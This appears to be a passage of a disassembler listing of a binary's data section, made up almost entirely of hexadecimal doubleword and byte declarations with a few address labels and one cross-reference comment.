		dd 7CDF37DDh, 1AAD4D68h, 0B44D3736h, 68F63F1Ah,	27301AB8h
		dd 14644F52h, 686369E7h, 0F7000507h, 0E4B9B535h, 140727Ch
		dd 79F3140h, 9ABE02EBh,	31A09713h, 0C80B0D2Ch, 0F601E9D8h
		dd 19270403h, 0A0F27BC5h, 25FECA3Bh, 8A31DB07h,	3A307C53h
		dd 689F3460h, 92BDCEC2h, 2338E004h, 0A703304Fh,	0C840BC28h
		dd 76A9831Ch, 7A32A76h,	602B2954h, 8C2DA207h, 3B920762h
		dd 525E642Bh, 0E7617461h, 530780FBh, 7314643h, 65B2D8C8h
		dd 0AF5458DDh, 72C2307h, 0A8DB34Fh, 9F2EE21Dh, 23EB00D1h
		dd 0F37D98A3h, 3B570780h, 7F1460E1h, 0C00302B2h, 4651ED07h
		dd 32E27F31h, 36CEEB03h, 18330ACBh, 0C01332F6h,	0A603AA0Bh
		dd 94A69A69h, 384A60DEh, 9AEBB2C8h, 267F10FAh, 44337A8Bh
		dd 375D34D3h, 3B23BC6h,	656A7E96h, 5E4D34D3h, 0FE162E3Eh
		dd 69A69A31h, 0B8D0E69Ah, 0E3748CA6h, 5C6D9630h, 25B9331h
		dd 414DF27h, 51264AA4h,	0FFC98353h, 54BF722Eh, 5051C1F9h
		dd 5F2020BBh, 821FEAB7h, 2856C5FCh, 0C5FC7D8Bh,	97D488B9h
		dd 332E7782h, 5DABF3C0h, 328358Bh, 6E89B73Dh, 45E488A0h
		dd 1405E888h, 0EE936C8Ch, 1DE40E08h, 21C8D8D4h,	0D4D88723h
		dd 763278DCh, 0EE0E0C8h, 0E4EC05DCh, 0E123EF92h, 0F4FC0AD6h
		dd 9EC1B9FFh, 133CC083h, 4EA6AC04h, 39F633FCh, 0F772B782h
		dd 4875F875h, 5FC6814h,	646A3822h, 3DF7CCD6h, 1B22C4C8h
		dd 0EF181322h, 34D9333Bh, 74141C16h, 3870FF14h,	0BAFB500Fh
		dd 0FC8B1682h, 14EA1009h, 0BE7C00A2h, 0F8D8E0CCh, 192EE14Bh
		dd 5F7DCC86h, 8EB70F10h, 763F01CAh, 2A2170ACh, 0F1BE8D28h
		dd 74C73B07h, 0EEF6C812h, 4508BFFh, 8950088Bh, 451890Ah
		dd 0EB5E441Bh, 0B7D41DE8h, 3F723D8Fh, 1FC4588Dh, 2C603D83h
		dd 41750419h, 0CF15B6Fh, 0BA3C4E8Dh, 46880B02h,	0FD8CD40h
		dd 0D24CA1DBh, 568AC91Ah, 0EBA01D40h, 0B64023D9h, 0FFDC4ABBh
		dd 10E1EE76h, 3407B67Eh, 47868D2Eh, 0B10C354Fh,	114528Fh
		dd 0FF03DC56h, 87A9141Ah, 8B2ED10Eh, 1FFF85F8h,	73F355B4h
		dd 678308A9h, 47C70018h, 0DE1011Ch, 6007375h, 460D0624h
		dd 0B28E8D0Eh, 0FBC74F8Fh, 8A204789h, 86889E25h, 0F6B7F776h
		dd 438B1A67h, 1F1F8904h, 7B893804h, 18968A04h, 0B367DB36h
		dd 7505AC97h, 40D015h, 5EEC8E76h, 0FF4D4758h, 0EB0BC4B6h
		dd 36587607h, 0A5361B1Ch, 3D078550h, 2F34E180h,	51CD9B3Ch
		dd 4F8B6369h, 1890719h,	0DEC966C6h, 735A4889h, 645EC260h
		dd 0C7C06E7Bh, 0B6C4B2ABh, 3399B008h, 0BD02CDDDh, 9D835AD0h
		dd 8BB8B657h, 0B84DF21Dh, 80112B0Ah, 6FB2AC3h, 0C01B2B59h
		dd 0BB9D31Eh, 8D30D0DFh, 83CC8E5Dh, 0D308247Ch,	2DFEE10Fh
		dd 470C9901h, 8A3008Bh,	0C058A06Bh, 0C9C2B1B6h,	0DD796CCh
		dd 9A4B6017h, 79BBBFB8h, 7FE00EDBh, 80605E8Bh, 44750E3Bh
		dd 8BF84B8Bh, 6D4DC253h, 0F0B7F017h, 0FF330C0Bh, 0D9E0F981h
		dd 0C410F445h, 0F8ED9BD2h, 0E40D4174h, 5D8D3974h, 75FB52FBh
		dd 509A4DBBh, 3E507751h, 0BF510964h, 97E04B0Dh,	322FD2EAh
		dd 187E89D2h, 301C4689h, 0C225768Bh, 44C78BC4h,	16F0D9F0h
		dd 30FF51CDh, 74544C60h, 2D23EDCAh, 85F06B9Fh, 0CDB58F6h
		dd 0DB6446C6h, 0DDFBBF63h, 3B896846h, 850F044Bh, 0F983153Ch
		dd 33820F0Dh, 0DB37F41Eh, 55D81A37h, 0CA3B0CC2h, 7D812210h
		dd 0C1EA16F8h, 9759F7Fh, 0C61846C7h, 23F66673h,	8BE3D85Ch
		dd 719F8D1Ah, 488D1C4Eh, 0E106050Ch, 8B20F6DBh,	55CBD740h
		dd 0EC5D8924h, 0B16F874Ah, 928F46BFh, 2BE4878Dh, 318906F4h
		dd 0C2C8C678h, 97567089h, 5D8B13CBh, 585B4200h,	481D430Fh
		dd 0CD2CBAC6h, 0B746CD20h, 68577746h, 10F9D52Bh, 0C1DBF7B9h
		dd 170B6185h, 1DF43135h, 0B2AAC0Ch, 0B5748A0Dh,	286E3BE4h
		dd 0DB80B5A1h, 459C4189h, 444449F0h, 0E0866170h, 4EA6E689h
		dd 0B2727670h, 0EC9706F1h, 9F2C569Bh, 0C5F58860h, 7389CB73h
		dd 62CDEE43h, 2278C687h, 8612657h, 169F08BEh, 6205C5DFh
		dd 1424BDDBh, 8BC81CBBh, 0CC3EDE77h, 7DCD9399h,	0C390CF1h
		dd 0D3B81002h, 1CEBB3E1h, 0BE80575h, 0EB30A303h, 0CF6CE04Ah
		dd 0DD56D866h, 0C9410D12h, 204356CCh, 3C6BAF49h, 522516h
		dd 52035D41h, 2F9A490Dh, 5F1B0073h, 5B4E5700h, 240524C1h
		dd 0DC08D110h, 50701BA2h, 305E8D7Ah, 4566538Ah,	0FC45BBA1h
		dd 0FA05000Ah, 0B5D9F33Bh, 972B90Bh, 0CF0121Ch,	0E6CD0EF2h
		dd 7EF464F3h, 1AEA18E8h, 0C6FF8EECh, 0D7F88B5Eh, 2175C084h
		dd 140C45ABh, 59270F82h, 33207E8h, 236C2335h, 564C363Bh
		dd 0EA48418Ah, 5B9103F6h, 2C211BBh, 0C063F0Bh, 0C8F3E488h
		dd 0E1A10E7h, 0C018D814h, 0F9E41C0Bh, 2079F9F9h, 7C24103Eh
		dd 0CC82813h, 1C0D9A2Ch, 766385AEh, 3A5D0284h, 0A6685CCh
		dd 144ADDFDh, 0ADEED62Ch, 8B1E641Bh, 0A17C2003h, 7890E68h
		dd 0F9F4FE42h, 780804D8h, 0EB3D8904h, 3E42C606h, 0A75B01B0h
		dd 7F2E9142h, 832F00C7h, 9C6B5D8Eh, 344B1806h, 0D9422259h
		dd 2C0B6BDEh, 1863031Ch, 9BB4389Fh, 0DE02EB3Ah,	0BE56B58Fh
		dd 878CF709h, 4CCEDF58h, 0B60C5CA2h, 93319BDBh,	4B584EB8h
		dd 610C7D83h, 0C190FF21h, 3E7883D2h, 0CE2E9D75h, 40C71EEBh
		dd 0B1157E18h, 155603A7h, 0D22F3520h, 2A5E78E0h, 2184059h
		dd 0F7CC7810h, 50AB527Eh, 60158A18h, 2EB2A06Dh,	854A22F6h
		dd 58735672h, 0EB53C68Ch, 36B2A274h, 0C631ECEBh, 0DE56DD1Ch
		dd 6285E75h, 37DEC86Ch,	28340CAAh, 0C36B7258h, 0F85DE223h
		dd 83E04E57h, 68C0B511h, 0D2FC728Fh, 0FBC52E79h, 8FE4B7E9h
		dd 5EB7B54h, 8D72B860h,	0C556456h, 0BFDB7F74h, 0EB367F89h
		dd 647E80F0h, 684E3700h, 60518B53h, 5A6A418Bh, 0E91B5230h
		dd 0AFFB810Ch, 0DAE0708h, 0A285C0A9h, 375D8CFh,	0F4ADB22Ch
		dd 105866A5h, 428B18B8h, 0C8070B08h, 73483495h,	30FCA95Bh
		dd 0EB1EEC18h, 0D08A1029h, 4617DCDh, 2E0AB5Ch, 4CFEBBD4h
		dd 190F0977h, 3F5F2CF8h, 2C41E353h, 0D8FC480Fh,	0FCAEDB85h
		dd 0F1D5DFFFh, 81102955h, 10008FAh, 8D477540h, 7B8D0E71h
		dd 0A566A524h, 5B10288Bh, 300715ADh, 542B765Ch,	69F3DE90h
		dd 19C46383h, 1DAEDB30h, 201A0CEBh, 0EDC1F612h,	9660DD6h
		dd 14076604h, 0B2920A1h, 0ED9E95DDh, 94E36EBh, 0AB4DD618h
		dd 2BDBAB66h, 2A07F335h, 1F42F63Eh, 56CED80Bh, 0C271430h
		dd 0DB1A93EDh, 0A11947Ch, 0BC525114h, 0C3DDDC38h, 930CE0DBh
		dd 8D3D10AFh, 2961470h,	0D3330807h, 8D5967D9h, 2A1C87DEh
		dd 55908B21h, 216FB205h, 0D771057Bh, 22EB5850h,	0D03FDB20h
		dd 921B0F06h, 8330528Bh, 4C50F121h, 4CB87E16h, 3C503769h
		dd 833C0451h, 0F8522325h, 3A009980h, 0AF4F2318h, 0D33CECACh
		dd 0CF0BF18Bh, 5109F1Dh, 88F93BB9h, 0A5FCF096h,	32943B60h
		dd 8D5280C7h, 7D3BC478h, 7CA25F0Eh, 40970040h, 0FC3C478Bh
		dd 8499E869h, 6CD30870h, 5A1DA857h, 1CFEE703h, 41D88FE3h
		dd 528AD772h, 18EBD72Ah, 61708C31h, 3D200F24h, 0DF24770Ch
		dd 0BE0C2F09h, 48A73FF4h
		dd 0BEEFE337h, 89CF4AF4h, 0DCB8F77Dh, 0B6FB5B3Ah, 118F8B6h
		dd 0F6FCE7B4h, 9AD7E141h, 0B674FBBBh, 0B376F3A6h, 19481BEDh
		dd 7F839A3Ah, 0D051E244h, 16633661h, 1644D3C1h,	0D195B231h
		dd 0D8BE552h, 0A2BA28F6h, 1E56D3E3h, 0AA6076A7h, 74E02254h
		dd 7FFF61A3h, 6253A9F9h, 0C14D8B3Ah, 0D285118Bh, 0C28B0674h
		dd 0F6EB108Bh, 16C6E083h, 0B4F47BAEh, 0EB0AA853h, 58EE2F8Eh
		dd 0CA64B2Dh, 801A2083h, 29747682h, 14A0CF13h, 5EA8451h
		dd 5638C390h, 3F964D42h, 6BEFEF14h, 99FF0BF7h, 6BAD086h
		dd 5060460Ah, 7BC637Ch,	39868CBBh, 0B3D3BAA8h, 10E334F4h
		dd 2464670Ch, 0A7923CA2h, 0F0772321h, 0F86C0313h, 5C7BDC5Bh
		dd 3FF0D6Ah, 8B19755Ah,	112C4BA5h, 0A750A17Ch, 722D7744h
		dd 0FB5BE519h, 30667B6h, 1CEB2A4Bh, 0A731859h, 76CF488Bh
		dd 77CEF823h, 4F057314h, 401D13EBh, 1AD02D08h, 232C66B4h
		dd 0DC1BA9EBh, 2C0BD5EAh, 3602148Bh, 39C1F67Bh,	0C16BBA67h
		dd 1084108Fh, 0D85F13DCh, 8B336DCh, 762018A5h, 207D027Fh
		dd 5F2D2DF8h, 65831404h, 0FE6234F4h, 0BF0D76FFh, 688940DBh
		dd 0D950184Dh, 7D39C33Dh, 6097731Ch, 0C7EB1BE8h, 0B11C452Bh
		dd 3AB04BA2h, 404321FDh, 7C3873FFh, 9EC567DFh, 8A2446ECh
		dd 99274053h, 0D7F80F8h, 528B800Ah, 0F4752BBAh,	7815B2C9h
		dd 3BC24C4Fh, 580EC34h,	26403636h, 0D81D6634h, 5E247565h
		dd 68EB5EB3h, 0A16B41BAh, 0C9856846h, 55C0C137h, 4FEE51D8h
		dd 49F17983h, 6152E1A9h, 8492574h, 59B28954h, 0E7C5CB63h
		dd 0B7814E2h, 0F80FDA85h, 1C608014h, 364C781Ah,	0A5F62155h
		dd 0A5F302E0h, 0F303E182h, 0D2701DA4h, 442F600h, 1A107C8Dh
		dd 7DB073Dh, 18B334FCh,	4D486083h, 694408CEh, 2517631Bh
		dd 55CF8388h, 0B9258B10h, 8DF01FBBh, 3C4A7383h,	40428911h
		dd 133ED405h, 0B3C691Bh, 2D08C1A0h, 0AFB63087h,	24CE2E93h
		dd 0AEF477F4h, 0C0999A23h, 448D83C1h, 85E4C08h,	291F4306h
		dd 36707526h, 0F2D920D8h, 0ECE8EFE8h, 6C3E3874h, 514848E9h
		dd 0DF1CA27Eh, 73F46EE6h, 2E54535Ch, 482C4434h,	0A95588DBh
		dd 0BF208E44h, 156D2770h, 0D0B3F73Bh, 3C39710Ch, 5BA4743Ah
		dd 0DFA6CC37h, 49D34160h, 46B2C340h, 8BC4D83Ah,	0AAD60235h
		dd 0C34200C8h, 8BAD79Eh, 34068CD3h, 376B29D6h, 2C643F4Ah
		dd 0EB30F09Ch, 1C16B805h, 2CD02320h, 84091CE1h,	8308716Ch
		dd 94041534h, 0CCF2388h, 0CA57269Ch, 2342CF6h, 0C315709h
		dd 0C1C1533Fh, 1B75E95Ah, 35DB14EBh, 0D98BC0ECh, 2075BEACh
		dd 0A572DA2Bh, 83571393h, 0F8FBA4D8h, 1054DA12h, 2B74522Ch
		dd 0D9F16102h, 0B02DCDB4h, 6CB23C75h, 3C6DB659h, 282C0230h
		dd 0B06EED24h, 10748587h, 2D2CE62Ch, 5AADC62h, 0D083511Ah
		dd 9D6F823Ah, 28BFFD09h, 4FB70FACh, 9AF52802h, 0D728FA46h
		dd 63610E3Dh, 0F65BC64Bh, 399D21BBh, 95AA028h, 80E15B7h
		dd 63118134h, 1DE5D6E6h, 830A021Fh, 9EEBB5CAh, 168AB58Bh
		dd 20155960h, 0CC4388E6h, 3BE0011Ch, 0C06F6D80h, 890B7189h
		dd 0C9180459h, 61D81378h, 0C857CA4Fh, 48701B22h, 72078B15h
		dd 0D8C45C13h, 0B04B9436h, 6CB22F03h, 0A72D1BDBh, 56A1842h
		dd 0C47E5A20h, 883BEDADh, 81048B34h, 5C7EC23Bh,	8DF423B3h
		dd 368EE57h, 0BE530B74h, 0E75681E9h, 0E4403C1Bh, 8FFD1539h
		dd 0F8503E8h, 22378B25h, 0A13D6A8Eh, 0A2586177h, 1A00059h
		dd 0A8D4B38Bh, 0EF8DDDECh, 0DC89058Bh, 43240FEBh, 211C6A60h
		dd 0B01B7ED0h, 3990BEDAh, 66CEBF31h, 8A156A37h,	0EC631675h
		dd 0F0333BB9h, 0EC6E231Dh, 738B7136h, 6418354Dh, 574D7709h
		dd 5968DE7Bh, 300558B6h, 30B4544Ch, 2E461B18h, 0C18D6CBh
		dd 0AE545C48h, 79EC1950h, 125C3459h, 1DB7541Ah,	0DBBAFFEh
		dd 9D8C90E8h, 53890405h, 4800C744h, 7D2BA31Ch, 3B01291Ah
		dd 293BEC6h, 18EA44DBh,	7B43C770h
dword_4439A4	dd 631E5306h			db 0B7h, 10h, 22h
byte_4439AB	db 0BAh			; DATA XREF: sub_449577+3o
		dd 0C03EA48Eh, 63B96F5h, 34214CC6h, 0E512840Ch,	6130B9A0h
		dd 48845D14h, 0D721BB35h, 0E2A3526h, 0C90729E8h, 0B259F758h
		db 0A6h
dword_4439D5	dd 6B570A78h			db 91h,	68h, 84h
		dd 1875B58Ah
		db 7Bh
dword_4439E1	dd 0DE006E0Fh	dword_4439E5	dd 6FD40A29h			db 1Ah,	6Ah, 1Bh
		dd 59107A8Dh, 0E02C9F07h, 0E14D1858h, 7C06BFF3h, 9C92E1Dh
		dd 984E1051h, 3700A050h, 43B7991Ah, 6B863232h, 0CFC4632h
		dd 0A64D4DCEh, 0A360398Ch, 0AB4665Bh, 0D6DB632h, 0AA640AD7h
		dd 7A084A31h, 0D8FB7759h, 664AD1DEh, 14AAE0CAh,	8571324Bh
		dd 118142C0h, 939C0C68h, 47AB5FA8h, 8F0C605Ch, 428E14B9h
		dd 84F2D3CBh, 19315300h, 800E843Bh, 8A605CBBh, 6ECCEC27h
		dd 66E290A4h, 4E5C8D80h, 4145670Ah, 8897C46Eh
		db 0, 0FAh
dword_443A76	dd 25300C88h			dw 8191h
		dd 1D1038ECh, 25CC2BC4h, 7BF1257h, 0B9AECD68h, 0BAFF3304h
		dd 80D9E6C3h, 0DCDAD896h, 6C9EFC04h, 0C8123B3Eh, 0CC0ECA0Ch
		dd 0B18D010h, 0D27CD991h, 0F820D41Ah, 0D0289466h, 13E0036Dh
		dd 0FD22CE2h, 1740D5D4h, 3056A253h, 656DA008h, 8D57C228h
		dd 5B61995Dh, 1ED6A736h, 0C81C80Ah, 0CB21B758h,	0C83BD011h
		dd 8B7D0500h, 3B180F6Ch, 3DB611D8h, 2284788Ch, 1F6F3FEEh
		dd 0B809ECBAh, 8DF82004h, 0E7C17F0Ch, 0C42DB419h, 21C448EEh
		dd 0DC0744D5h, 0ACE877F4h, 773A56EFh, 818953BFh, 0DC608D45h
		dd 0B541D106h, 8C00F6E0h, 17A096DEh, 8BE04D5Bh,	0C1287D31h
		dd 99A04581h, 0B9A2AFACh, 0DFFF4BBh, 0FF50BAB6h, 73738DC2h
		dd 2E8932B8h, 0DF006A9Ah, 0B5F87A8Dh, 6675B6E5h, 8830DF8h
		dd 2EC0304h, 0D68E96FBh, 279D06F4h, 1BE90114h, 6E6DF0B4h
		dd 7B85B217h
		db 37h,	5Eh
dword_443B72	dd 460014F0h			dw 19B9h
		dd 150CFF1Eh, 0A00CFEEEh, 0CABBA093h, 0E35F3889h, 1C31C651h
		dd 0E2797BD4h, 8B8C6C6Ah, 0F4D7371h, 591B0FE0h,	39A32CD3h
		dd 21C363A2h, 1A1EFBC3h, 5AD1130Ch, 0D71282Bh, 41828C14h
		dd 83642673h, 750EBA43h, 0A80EE017h, 35978308h,	0D5B9C38h
		dd 0F893904Ch, 481A9BD2h, 147B8128h, 75FCC401h,	34ACB807h
		dd 0EB2AA6D8h, 0B9574637h, 5278A445h, 0C053093Ch, 1BD5304h
		dd 8740735Ah, 4CD9682Fh, 0FDC468F1h, 6A5F9BBDh,	8BBF3B1Dh
		dd 0A354BE4Ch, 14798193h, 0A17F06h, 8D6D01AEh, 0DC388120h
		dd 0D0057605h, 1B1B6854h, 5E2C0600h, 9DDD3C72h,	5D142FA3h
		dd 28302966h, 584A1911h, 6EA9C9Bh, 11BA5821h, 71516406h
		dd 0E0EE818h, 7F674970h, 7F080211h, 0E085589Bh,	7427057Eh
		dd 211D284Ah, 4D10B952h, 49C87A8Dh, 0C76687Dh, 8414468Ch
		dd 7EA43957h, 5F182BABh, 8B104689h, 0C0E07C1Eh,	8156150Fh
		dd 551DFAC3h, 0FF87B95Eh, 83560721h, 0ECEB60C3h, 0ED519AB8h
		dd 4B181995h, 825373D6h, 0CCD57E74h, 0E43457DAh, 0B89A577h
		dd 76320E83h, 8D47AA43h, 0FF477F47h, 0BEC9036h,	40F180CCh
		dd 81478918h, 97078783h, 9E7C579Eh, 2DBD6057h, 8750AC5Ah
		dd 7D68B43Eh, 0A3909805h, 663C6B3Ch, 0F06E81E0h, 0FF04C683h
		dd 49937579h, 18BE450Ch, 58102D32h, 0D8901EF6h,	0BE9C712Ch
		dd 0D8B4650h, 0BFEED048h, 147D0DFFh, 9B8D08Ah, 1588C83Bh
		dd 55740754h, 1A2DFF06h, 0C459EF3Eh, 0DF3B098Bh, 1314F375h
		dd 0D61B944Dh, 6F9B5379h, 8C359E97h, 754C56F9h,	44F01E47h
		dd 4B541038h, 4503E158h, 0DE1A5718h, 0CA06C3C4h, 125FDD7h
		dd 0F7502534h, 1CEB9710h, 102E1816h, 8733D58Ch,	0D1264492h
		dd 553AB618h, 40081483h, 5A142F8h, 0B1CAA92Fh, 70BFD0EAh
		dd 75899CABh, 8DF2507Ch, 55890E4Eh, 1B7558EEh, 3D35E6EDh
		dd 5B80A5Ah, 83B08295h,	8C49BA80h, 7B99C51h, 558101C1h
		dd 597860Fh, 483A09Bh, 8EEA4E8Fh, 0C0E52A74h, 350F607Eh
		dd 1F1A7480h, 162ACA06h, 53270AA3h, 0F7C02A89h,	0C9282654h
		dd 7461E177h, 0F4469E4Ah, 649D1274h, 388C58A9h,	0E0F45847h
		dd 0F40064B7h, 430C4F30h, 8DCA5598h, 7827D027h,	3DD7BA1Fh
		dd 4CA1BCA2h, 2A7A0310h, 45C7A942h, 0A84081E0h,	14B0DD08h
		dd 76E58A54h, 72D6DF8Eh, 0FF2DA337h, 6A1FB9D3h,	47B42E0Eh
		dd 0A238F34h, 0C51E41D6h, 21ADA256h, 10873159h,	0B7805736h
		dd 4BD1C6Eh, 4450150Fh,	7F3AD737h, 0FA0C0951h, 0A266D0B0h
		dd 53048A99h, 0BE87D54Ch, 0C25A9037h, 0FFD3A46Fh, 0D10C7B2h
		dd 0EB343AC1h, 5152521Fh, 6A78C1D9h, 0D951387Dh, 0C9083056h
		dd 53BF030Eh, 1FA53456h, 0E00225h, 27E78CB0h, 3AA1D41Ch
		dd 6DBF80E5h, 31EA3C2Dh, 68870F0Bh, 0C60F3DCh, 0D9477188h
		dd 10395F04h, 1A4D985Ah, 0FCD008AEh, 86D78123h,	11FC590Ch
		dd 9C8726F0h, 0F8E4420Ch
		db 0FCh
dword_443EA1	dd 812B3BFCh			db 2Dh,	3Ah, 5Dh
		dd 0E155D28Fh, 0C00C61Eh, 0C9D82C4Bh, 0C81C80Ch, 93DD0808h
		dd 1463E591h, 8F8080Fh,	0F25388E4h, 0F84E8BF8h,	6803B38Dh
		dd 0DB93E21Dh, 83880855h, 5E599BA6h, 0D42A0F9Ah, 4A890842h
		dd 1C019E08h, 147111AFh, 19B82B65h, 45E9926Fh, 0D5C70C7Fh
		dd 0C803D620h, 0D2C2454Ch, 0F3E010F2h, 0C7E38BAh, 3941E77h
		dd 31089F21h, 2162CB11h, 0D48A1721h, 7EBE2156h,	7C503909h
		dd 0D8F3C934h, 0DA2D73C2h, 0C0177F04h, 9C481EBEh, 74CEE144h
		dd 7091D90Dh, 0E36F897Bh, 0B89374C2h, 0C203B67h, 0F350874h
		dd 0ECAB7736h, 58D8EB8Fh, 219F0A96h, 1F07B299h,	41124143h
		dd 5C25810Eh, 6D93FE0Fh, 775981F4h, 58604303h, 90C197D7h
		dd 76CCC334h, 0D9B0AF44h, 0AF6D3B21h, 1AA3EC98h, 5C009A40h
		dd 3DEC7509h, 4E158468h, 90EDB75Dh, 264A161Ch, 362E3B0Ah
		dd 8B19A69h, 0CDEF29Bh,	0C90C6DF3h, 1B0D2901h, 3491A758h
		dd 0DBEFDB93h, 0C298473Dh, 0F586E944h, 0E44308Dh, 2D1669CFh
		dd 0E30C992Ah, 0C0755314h, 773B8DDh, 7E806014h,	1A4E7572h
		dd 56E82ED2h, 0D2333987h, 79307495h, 0C4B1CA0Ch, 0B94DC048h
		dd 0B7F76F4Dh, 588B167Ah, 811058ECh, 4C0FFFE3h,	8060B8Ch
		dd 9B1B6F75h, 0D1037E0Ch, 1ED24A47h, 0E82DF56Bh, 89B9147Eh
		dd 9246C616h, 78FDB85Ah, 1454053Bh, 0C8DE03EBh,	19764948h
		dd 5A75235Ch, 10580192h, 0B76B2A3Ah, 0FC8C366Fh, 83EA754Fh
		dd 66807966h, 24B61986h, 0C2521B50h, 0B6183C17h, 0BA0217C4h
		dd 105D3956h, 2BCB1871h, 34C17D9Fh, 8CE083Eh, 0DF45718Bh
		dd 615D759Ch, 0D214D375h, 59385814h, 5B50751Ch,	41C16DBBh
		dd 0CEF85D1Dh, 6FDF0804h, 0F3CE6A97h, 1481450h,	0D33BF855h
		dd 476B5AD2h, 18EBC84Eh, 0CEA1394h, 0A5A6D423h,	0FFFAB6EFh
		dd 0D3CAEBB3h, 8F142139h, 6F61FDFAh, 41C60405h,	46F616D6h
		dd 0CDC0506h, 8AE75BEBh, 8EF84A87h, 0C06056E4h,	6C5AE6E5h
		dd 0ADE114A8h, 0AF0089AAh, 6B77DDB2h, 3B368B2Dh, 7C74A5F3h
		dd 0EDCFEB3Ch, 3E754B77h, 72553D74h, 8B027714h,	6E0629C2h
		dd 2BDF0BB7h, 970413D0h, 744DA4EBh, 76101BA0h, 0D686172Bh
		dd 0F3DB04EFh, 0DB6B3DD2h, 0D9AD0368h, 0CB270CD4h, 9AB41229h
		dd 0C22A18ABh, 0BB48202Ch, 11586DAh, 4E863711h,	0C243B54Bh
		dd 8714CAAAh, 1F6F4665h, 6A57BDABh, 8B145906h, 40B856FEh
		dd 91B410E3h, 0CC2D0D29h, 0A3EECD6Ah, 14A06DC4h, 2B61566h
		dd 0E08812B3h, 50620241h, 533C50D7h, 0CEE029Ch,	1EFE6FCCh
		dd 66087E8Dh, 59C01FD0h, 0E8EB4654h, 8069568Ah,	0CE0F7ADBh
		dd 3114E52Eh, 0D6CCE7BDh, 0F454061Dh, 0D81E6820h, 0B0CF642Dh
		dd 101D619Dh, 0A91A6500h, 5A554036h, 54B4BDEEh,	0FD6F462Dh
		dd 2CB7FE34h, 0F98C8CA0h, 0ED6FF39Fh, 9AB854D6h, 273FF9D1h
		dd 0C03EDA75h, 5F82078Eh, 5393513Ch, 0E42D4B8h,	5BAB3717h
		dd 6ABABC57h, 49BE721Bh, 36DF87B2h, 0B6803F7h, 1FC0F919h
		dd 3C8C020Bh, 0D2C44647h, 888EC800h, 0CC8CFC18h, 0ED02CB85h
		dd 0F803C68Dh, 0C19C36B3h, 456C1A24h, 0BD63061Bh, 9A3F1781h
		dd 770127D1h, 42987E4Dh, 0B06F908Bh, 33FBBD40h,	14C1830Ch
		dd 0B6CDE9F7h, 8853A8F1h, 756E0F45h, 84473314h,	74477DB3h
		dd 170F4D8Ah, 0F62032A4h, 62257031h, 0D052B1AEh, 80B806BEh
		dd 9B3646Dh, 1F29A381h,	0FB1DB270h, 0E80C7982h,	43D1CE49h
		dd 524194BEh, 6A705B53h, 0E0A45574h, 7E08B1B9h,	0BAF89E14h
		dd 1CD06D5Bh, 1122C420h, 206023F6h, 0E0E82B76h,	305D8C7h
		dd 0EF178018h, 6CE51E89h, 76C0F02Fh, 0FB3B8E90h, 0B7D1B771h
		dd 0E39A0247h, 2B548F7Bh, 0FD5A9F8Bh, 880C97CCh, 0B020887h
		dd 0F012D83Bh, 2223351Eh, 284619EAh, 4BEC64D4h,	22F31AF5h
		dd 8021424Ch, 3320531Fh, 111735Bh, 8859683h, 8158819Ch
		dd 0D0431C06h, 0B36216D1h, 1E4B4D99h, 4646D4BDh, 0D8FC4646h
		dd 161FDC94h, 0B30D46F6h, 8D69A5CBh, 0BF61EFBDh, 4D89C78Bh
		dd 0BF188BC5h, 81A305BBh, 0CC7EA257h, 0A508EC65h, 3DCA9411h
		dd 263E3789h, 6C1B9D6Fh, 0EC0F1A49h, 31FFB602h,	35B3AB68h
		dd 41500611h, 5EF7FFF0h, 8303FB6Ch, 0F093A227h,	3FBFA559h
		dd 0B7398840h, 0FE1A53ABh, 833FFFFh, 4A8A21B3h,	0A90249Fh
		dd 57E94385h, 212DC646h, 99EBB054h, 16D171Fh, 88B2970Eh
		dd 31756D3Fh, 48051E3Ah, 0C689898Ah, 4848516Ch,	0FFED8BF5h
		dd 46E27992h, 6B38BF02h, 0D78A3030h, 3435EE6Bh,	810C0506h
		dd 0D939768Ah, 0BB3CCF0Ah, 231C03F3h, 5ADEE11Ch, 6A05FE56h
		dd 7593A3ACh, 40A1933Bh, 13291B31h, 8200B45h, 46CE14A3h
		dd 0C38BFBADh, 92C1234Bh, 70143CA6h, 946CA136h,	6C2EFBC3h
		dd 8AE742B6h, 3D8AA172h, 0CD86DA04h, 0D04BF6C4h, 54F28B8Ah
		dd 0E1330060h, 0C34A655Ch, 4C35806Fh, 4D389049h, 27B0D988h
		dd 4E06C7DEh, 0F73F3023h, 81010660h, 3C05F552h,	20111836h
		dd 0C36245C7h, 80C03240h, 1A4CF488h, 0C7B0EBA2h, 91598C47h
		dd 6C128365h, 0D8721C4Dh, 0F0A02F6h, 0C2123C74h, 6B57DAB3h
		dd 0CD960E10h, 8083E03Ch, 85D8074Fh, 0B4D1E0Eh,	0B947B83h
		dd 7C0F0854h, 1EE88F54h, 0BE2DE793h, 2521BBBh, 10053575h
		dd 47F61974h, 0BD0B8312h, 10759E00h, 87B5C6Ah, 0B86AC530h
		dd 0A7F366BBh, 570A758Fh, 145A539Ah, 28C00163h,	52325702h
		dd 2961B258h, 7B2CD0D1h, 0D0C639D3h, 8B717401h,	6419CC86h
		dd 4F274BECh, 0CD9E8D53h, 219086CBh, 868E1919h,	464EEF86h
		dd 5BCB960Eh, 13750154h, 5D25B157h, 0ACB656ACh,	0E6E7AB04h
		dd 7B015428h, 9102CC05h, 0C8919191h, 91BCDCC4h,	0B8919191h
		dd 81D0C0B4h, 0D4919199h, 2800E0D8h, 0FFC8C945h, 86EDE200h
		dd 0E9049EE8h, 86F000BAh, 0BFC22356h, 0FB362170h, 5A4DBA01h
		dd 3C708B0Eh, 0B454C603h, 41BC1C8Dh, 6F001006h,	6ED7C2D1h
		dd 5EE0EB38h, 221A0163h, 26FCBADDh, 0B179014h, 4A76F17Ch
		dd 71D7D7Ah, 0FADEE87Fh, 8AC2037Fh, 3ACB8A18h, 841A751Eh
		dd 588A30C9h, 715E0C01h, 5D5015BBh, 11464690h, 0A3FFE275h
		dd 5CF7605h, 4FD8401Bh,	2045831Bh, 0A6818302h, 3CC78B42h
		dd 0FC3B9672h, 7AB357C5h, 4A33BC72h, 6A2D20EEh,	0CAD8FF0h
		dd 2B00B70Fh, 455D8DF2h, 0B5B882D4h, 0DF810630h, 2BDAAA4Eh
		dd 410C53FAh, 31706164h, 52B5C800h, 40313F4h, 0FB0ED60Fh
		dd 6F743BA5h, 176C6F63h, 30191244h, 1752F453h, 78F14267h
		dd 5677C167h, 4B4D94D5h, 0C6480EBCh, 40912BBEh,	811D0CA9h
		dd 0E4562A02h, 0D55787F4h, 7870B0BEh, 3201638h,	157AECF2h
		dd 4E752D0Bh, 32C8B24h,	0A05DFA74h, 5DB0DFA3h, 0C3200FECh
		dd 4FFF3F53h, 1601220Fh, 0F486B62h, 50762051h, 56C14BD4h
